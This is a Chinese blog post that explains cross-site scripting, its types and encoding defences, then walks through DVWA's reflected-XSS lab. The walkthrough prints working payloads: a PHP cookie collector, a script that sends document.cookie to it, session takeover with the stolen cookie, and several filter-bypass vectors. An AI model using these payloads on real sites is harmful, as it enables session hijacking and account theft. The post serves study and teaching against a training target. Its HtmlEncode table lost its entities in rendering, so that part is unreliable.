XSS跨站脚本攻击——在DVWA中的练习

版权声明:本文由CliffordWR原创,转载请注明出处。 https://blog.csdn.net/CliffordR/article/details/86849814

理论部分

简介

        跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS。XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click(点击)劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。

那么什么是XSS呢?

        XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去。使别的用户访问都会执行相应的嵌入代码。从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

XSS攻击的危害包括:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其它网站发起攻击

攻击的条件

  • 需要向web页面注入恶意代码
  • 这些恶意代码能够被浏览器成功的执行

XSS攻击的分类

反射型XSS攻击

        又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站。

存储型XSS攻击

        又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面,查看内容时脚本将自动执行。恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性

XSS漏洞产生的原因

        跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体,制造出一种行之有效的XSS过滤器是一件比较困难的事情。但是这只是相对的,对用户输入数据的”编码”和”过滤”在任何时候都是很重要的,我们必须采取一些针对性的手段对其进行防御。

创造一个相对良好的XSS过滤器来阻止大多数的XSS攻击代码

需要重点编码和过滤的对象

·  The URL

·  HTTP referrer objects

·  GET parameters from a form

·  POST parameters from a form

·  Window.location

·  Document.referrer

·  document.location

·  document.URL

·  document.URLUnencoded

·  cookie data

·  headers data

·  database data

防御XSS的原则

        以当前的应用系统为中心,所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据),所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)。

        对输入的数据进行”过滤”,对输出数据进行”编码”。这里的”编码”也要注意,必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode,如果数据是输出到javascript代码中进行拼接的,那就要进行javascriptEncode。

        如果不搞清楚数据具体输出的语境,就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。

HtmlEncode HTML编码

       它的作用是将字符转换成HTMLEntities,对应的标准是ISO-8859-1
为了对抗XSS,在HtmlEncode中要求至少转换以下字符:

1. &   -->   &
2. <   -->   &lt;
3. >   -->   &gt;
4. "   -->   "
5. '   -->   '
6. /   -->   /

javascriptEncode javascript”编码”

        javascriptEncode与HtmlEncode的编码方法不同,HtmlEncode是去编码,而javascriptEncode更多的像转义,它需要使用”\”对特殊字符进行转义。从原理上来讲,这都符合编码函数的一个大原则: 将数据和代码区分开,因为对于HTML Tag来说,我们对其进行”可视化(转换成可以见字符)”的编码可以将数据和HTML的界限分开。而对于javascript来说,我们除了要进行编码之外,还需要对特殊字符进行转义,这样攻击输入的用于”闭合”的特殊字符就无法发挥作用,从而避免XSS攻击,除此之外,在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题。

escape()
http://www.w3school.com.cn/js/jsref_escape.asp

        该方法不会对 ASCII 字母和数字进行编码,也不会对下面这些 ASCII 标点符号进行编码: * @ – _ + . / 。其他所有的字符都会被转义序列(十六进制\xHH)替换。利用这个编码函数,不仅能防御XSS攻击,还可以防御一些command注入。

网上收集的一些开源防御XSS攻击的代码库

PHP AntiXSS
这是一个不错的PHP库,可以帮助开发人员增加一层保护,防止跨站脚本漏洞。

https://code.google.com/p/php-antixss/

xss_clean.php filter

https://gist.github.com/mbijon/1098477

HTML Purifier

http://htmlpurifier.org/

xssprotect

https://code.google.com/p/xssprotect/

XSS HTML Filter
http://finn-no.github.io/xss-html-filter/

实践部分(在DVWA中练习XSS攻击)

XSS(Reflected)基于反射型的XSS

Low级别

首先看一下源代码

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

array_key_exists检查数组中是否有指定的键名

·  X-XSS-Protection: 1强制XSS保护(如果XSS保护被用户禁用,则有用)

·  X-XSS-Protection: 0禁用XSS保护

可以看到,在low级别中没用进行任何的对XSS攻击的防御措施,用户输入什么都会被执行。

用alert进行弹窗测试验证是否存在XSS

代码:

<script>alert("D-Rose")</script>

成功弹窗,说明存在XSS漏洞并且可利用。

利用XSS获取cookie

编写php文档获取页面的cookie

<?php

  $cookie = $_GET[“cookie”];

  file_put_contents(“cookie.txt”,$cookie);

?>

编写js代码将页面的cookie发送到cookie.php

<script>document.location="http://localhost/dvwa/cookie.php?cookie="+document.cookie;</script>

意思就是利用本地的cookie.php这个文件获取cookie,要注意本地的地址要写对。

对js代码进行URL转码

http://localhost/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%E2%80%9Dhttp%3A%2F%2Flocalhost%2Fdvwa%2Fcookie.php%3Fcookie%3D%E2%80%9D%2Bdocument.cookie%3B%3C%2Fscript%3E#

页面跳转,说明js代码执行成功

接下来,我们看看phpstudy中的www目录下是否出现cookie.txt

 

 

 

 

成功拿到cookie

利用cookie登陆DVWA的首页。

在浏览器中输入DVWA的首页网址(http://localhost/dvwa/index.php),然后修改cookie,修改后刷新一下浏览器就成功登陆了。

 

 最后已经成功地利用cookie登陆了DVWA并获取了登陆身份。

 XSS(Reflected

Security Level :medium

分析一下源代码:

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

        在这里对XSS的防范只用到了对<script>标签的过滤,$name = str_replace( '<script>', '', $_GET[ 'name' ] );作用为把 <script>替换为空。

绕过方法:

1.大小写绕过

像这样: 

<sCript>alert("D-Rose")</scRIpt>

2.利用过滤后返回语句再次构成攻击语句来绕过

字面意思并不是很好理解,用实例演示一下:

使用语句:

<script>alert(“D-Rose”)</script>

查看一下源代码,看一下执行情况:

<div class="vulnerable_code_area">

                  <form name="XSS" action="#" method="GET">

                          <p>

                                   What's your name?

                                   <input type="text" name="name">

                                   <input type="submit" value="Submit">

                          </p>



                  </form>

                  <pre>Hello alert("D-Rose")</script></pre>

         </div>

可以看到,<script>标签已经被替换为空了。但其余内容并没有改变,我们可以人为的制造一种巧合,就是<script>标签过滤后,剩下的内容仍能组成完整的XSS语句。这个利用原理在于只过滤了一个<script>标签。

利用语句:

<scr<script>ipt>alert("D-Rose")</script>

查看源代码:

<div class="vulnerable_code_area">

                  <form name="XSS" action="#" method="GET">

                          <p>

                                   What's your name?

                                   <input type="text" name="name">

                                   <input type="submit" value="Submit">

                          </p>



                  </form>

                  <pre>Hello <script>alert("D-Rose")</script></pre>

         </div>

3.并不是只有<script>标签才可以插入代码

如果<script>标签被完全过滤,也木的事,因为能植入脚本代码的不只有<script>标签,这里我们用<img>标签做一个示范:

<img src='w.123' onerror='alert("D-Rose")'>

再一次看到了弹窗。

至于原因也是比较简单,指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然得到了执行。

4.编码脚本代码绕过关键字过滤

        有些时候服务器会对代码中关键字进行过滤(如alert),这个时候我们可以尝试将关键字进行编码后再插入,不过,直接使用编码是不能被浏览器执行的,但是可以用eval()语句来实现,eval()会将编码后的语句解码后在执行。

比如像这样:

例如alert(“D-Rose”)编码过后就是,所以构建出来的攻击语句如下:

<Script>eval (\u0061\u006c\u0065\u0072\u0074(“D-Rose”) )</scripT>

成功弹窗。

编码过滤原理:

        当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:&#60;被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段。

        当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。如:

<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

解码后为<script>alert(1)</script>,一样可以弹窗。但如果是

<script>document.write('\u0039\u0041\u0059\u0097\u0108;\u0101\u0114\u0016\u0040\u0039\u0049\u0049\u0049')</script>

        解码后为 <script>document.write(' ');alert('111')</script>就不要指望他可以弹窗了。因为解码出来的');alert('111仍为被当作字符串而不会影响上下文。

XSSReflected

Security Level :High

首先查看一下源代码

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

观察到使用了正则表达式来过滤:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

将<script>标签替换为空

这样一来就不能使用重写或者大小写来绕过了

在做medium时,有一种方法讲的是并不是只有<script>标签才可以插入代码,也就是上边的方法三

这里我们继续用<img>标签做一个示范:

<img src='w.123' onerror='alert("D-Rose")'>

 

成功弹窗。

XSSReflected

Security Level : impossible

Impossible在DVWA中安全等级最高,暂时不知道怎么解决,现阶段大体分析一下源代码,了解一下他的防御原理:

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

这里使用了一个htmlspecialchars方法,这个方法在php中的 意思就是把字符转换成实体,防止浏览器将其作为HTML元素。

htmlspecialchars()函数 这个函数的功能:

把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:

<?php

$str = "This is some <b>bold</b> text.";

echo htmlspecialchars($str);

?>

以上代码的 HTML 输出如下(查看源代码):

<!DOCTYPE html>

<html>

<body>

This is some <b>bold</b> text.

</body>

</html>

以上代码的浏览器输出:

This is some <b>bold</b> text.

这样将<>这两个标签字符变为html实体我们就无法构造标签进行混淆攻击了。

        到这里在DVWA中对反射型XSS攻击的学习就算有个较为清楚的认识了,希望通过以后的学习与练习使自己熟练的掌握和运用这个技能点。

猜你喜欢

转载自blog.csdn.net/CliffordR/article/details/86849814